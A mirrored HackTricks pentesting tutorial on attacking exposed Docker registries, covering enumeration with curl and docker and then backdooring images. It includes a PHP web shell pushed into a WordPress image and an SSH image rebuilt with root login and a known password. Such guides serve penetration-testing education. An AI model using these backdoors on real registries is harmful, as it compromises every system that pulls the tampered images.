mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
238 lines
10 KiB
Markdown
238 lines
10 KiB
Markdown
|
# 5000 - Pentesting Docker Registry
|
|||
|
|
|||
|
## Basic Information
|
|||
|
|
|||
|
**Info from** [**here**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.**
|
|||
|
|
|||
|
A **Docker registry** is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags.
|
|||
|
A Docker registry is organized into **Docker repositories** , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry \(given adequate access permissions when applicable\).
|
|||
|
|
|||
|
By default, the Docker engine interacts with **DockerHub** , Docker’s public registry instance. However, it is possible to run on-premise the open-source Docker registry/distribution, as well as a commercially supported version called **Docker Trusted Registry** . There are other public registries available online.
|
|||
|
|
|||
|
To pull an image from an on-premises registry, you could run a command similar to:
|
|||
|
|
|||
|
```text
|
|||
|
docker pull my-registry:9000/foo/bar:2.1
|
|||
|
```
|
|||
|
|
|||
|
where you pull the version of `foo/bar` image with tag `2.1` from our on-premise registry located at `my-registry` domain, port `9000` .
|
|||
|
If you used DockerHub instead, and 2.1 was also the latest version, you could run this command to pull the same image locally:
|
|||
|
|
|||
|
```text
|
|||
|
docker pull foo/bar
|
|||
|
```
|
|||
|
|
|||
|
**Default port:** 5000
|
|||
|
|
|||
|
```text
|
|||
|
PORT STATE SERVICE VERSION
|
|||
|
5000/tcp open http Docker Registry (API: 2.0)
|
|||
|
```
|
|||
|
|
|||
|
## Discovering
|
|||
|
|
|||
|
The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.
|
|||
|
Some fingerprints:
|
|||
|
|
|||
|
* If you access `/` nothing is returned in the response
|
|||
|
* If you access `/v2/` then `{}` is returned
|
|||
|
* If you access `/v2/_catalog` you may obtain:
|
|||
|
* `{"repositories":["alpine","ubuntu"]}`
|
|||
|
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
|||
|
|
|||
|
## Enumeration
|
|||
|
|
|||
|
### HTTP/HTTPS
|
|||
|
|
|||
|
Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:
|
|||
|
|
|||
|
```bash
|
|||
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|||
|
#If HTTPS
|
|||
|
Warning: Binary output can mess up your terminal. Use "--output -" to tell
|
|||
|
Warning: curl to output it to your terminal anyway, or consider "--output
|
|||
|
Warning: <FILE>" to save to a file.
|
|||
|
|
|||
|
#If HTTP
|
|||
|
{"repositories":["alpine","ubuntu"]}
|
|||
|
```
|
|||
|
|
|||
|
### Authentication
|
|||
|
|
|||
|
Docker registry may also be configured to require **authentication**:
|
|||
|
|
|||
|
```bash
|
|||
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
|
#If Authentication required
|
|||
|
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
|
|||
|
#If no authentication required
|
|||
|
{"repositories":["alpine","ubuntu"]}
|
|||
|
```
|
|||
|
|
|||
|
If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../brute-force.md#docker-registry).
|
|||
|
**If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this:
|
|||
|
|
|||
|
```bash
|
|||
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
|||
|
```
|
|||
|
|
|||
|
### Enumeration using curl
|
|||
|
|
|||
|
Once you **obtained access to the docker registry** here are some commands you can use to enumerate it:
|
|||
|
|
|||
|
```bash
|
|||
|
#List repositories
|
|||
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|||
|
{"repositories":["alpine","ubuntu"]}
|
|||
|
|
|||
|
#Get tags of a repository
|
|||
|
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
|
|||
|
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
|
|||
|
|
|||
|
#Get manifests
|
|||
|
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
|
|||
|
{
|
|||
|
"schemaVersion": 1,
|
|||
|
"name": "ubuntu",
|
|||
|
"tag": "latest",
|
|||
|
"architecture": "amd64",
|
|||
|
"fsLayers": [
|
|||
|
{
|
|||
|
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
|
|||
|
},
|
|||
|
{
|
|||
|
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
|
|||
|
},
|
|||
|
{
|
|||
|
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
|
|||
|
}
|
|||
|
],
|
|||
|
"history": [
|
|||
|
{
|
|||
|
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
|
|||
|
},
|
|||
|
{
|
|||
|
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
|
|||
|
},
|
|||
|
{
|
|||
|
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
|
|||
|
}
|
|||
|
],
|
|||
|
"signatures": [
|
|||
|
{
|
|||
|
"header": {
|
|||
|
"jwk": {
|
|||
|
"crv": "P-256",
|
|||
|
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
|
|||
|
"kty": "EC",
|
|||
|
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
|
|||
|
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
|
|||
|
},
|
|||
|
"alg": "ES256"
|
|||
|
},
|
|||
|
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
|
|||
|
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
|
|||
|
}
|
|||
|
]
|
|||
|
}
|
|||
|
|
|||
|
#Download one of the previously listed blobs
|
|||
|
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
|
|||
|
|
|||
|
#Inspect the insides of each blob
|
|||
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
|||
|
```
|
|||
|
|
|||
|
{% hint style="warning" %}
|
|||
|
Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
### Enumeration using docker
|
|||
|
|
|||
|
```bash
|
|||
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
|||
|
docker pull 10.10.10.10:5000/ubuntu
|
|||
|
|
|||
|
#Check the commands used to create the layers of the image
|
|||
|
docker history 10.10.10.10:5000/ubuntu
|
|||
|
#IMAGE CREATED CREATED BY SIZE COMMENT
|
|||
|
#ed05bef01522 2 years ago ./run.sh 46.8MB
|
|||
|
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
|
|||
|
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
|
|||
|
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
|
|||
|
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
|
|||
|
|
|||
|
#Run and get a shell
|
|||
|
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|||
|
docker ps #Using a different shell
|
|||
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|||
|
```
|
|||
|
|
|||
|
### Backdooring WordPress image
|
|||
|
|
|||
|
In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.
|
|||
|
**Create** the **backdoor**:
|
|||
|
|
|||
|
{% code title="shell.php" %}
|
|||
|
```bash
|
|||
|
<?php echo shell_exec($_GET["cmd"]); ?>
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
Create a **Dockerfile**:
|
|||
|
|
|||
|
{% code title="Dockerfile" %}
|
|||
|
```bash
|
|||
|
FROM 10.10.10.10:5000/wordpress
|
|||
|
COPY shell.php /app/
|
|||
|
RUN chmod 777 /app/shell.php
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
**Create** the new image, **check** it's created, and **push** it:
|
|||
|
|
|||
|
```bash
|
|||
|
docker build -t 10.10.10.10:5000/wordpress .
#Create
|
|||
|
docker images
|
|||
|
docker push registry:5000/wordpress #Push it
|
|||
|
```
|
|||
|
|
|||
|
### Backdooring SSH server image
|
|||
|
|
|||
|
Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.
|
|||
|
**Download** the image and **run** it:
|
|||
|
|
|||
|
```bash
|
|||
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
|||
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
|||
|
```
|
|||
|
|
|||
|
Extract the `sshd_config` file from the SSH image:
|
|||
|
|
|||
|
```bash
|
|||
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
|||
|
```
|
|||
|
|
|||
|
And modify it to set: `PermitRootLogin yes`
|
|||
|
|
|||
|
Create a **Dockerfile** like the following one:
|
|||
|
|
|||
|
{% tabs %}
|
|||
|
{% tab title="Dockerfile" %}
|
|||
|
```bash
|
|||
|
FROM 10.10.10.10:5000/sshd-docker-cli
|
|||
|
COPY sshd_config /etc/ssh/
|
|||
|
RUN echo root:password | chpasswd
|
|||
|
```
|
|||
|
{% endtab %}
|
|||
|
{% endtabs %}
|
|||
|
|
|||
|
**Create** the new image, **check** it's created, and **push** it:
|
|||
|
|
|||
|
```bash
|
|||
|
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
|
|||
|
docker images
|
|||
|
docker push registry:5000/sshd-docker-cli #Push it
|
|||
|
```
|
|||
|
|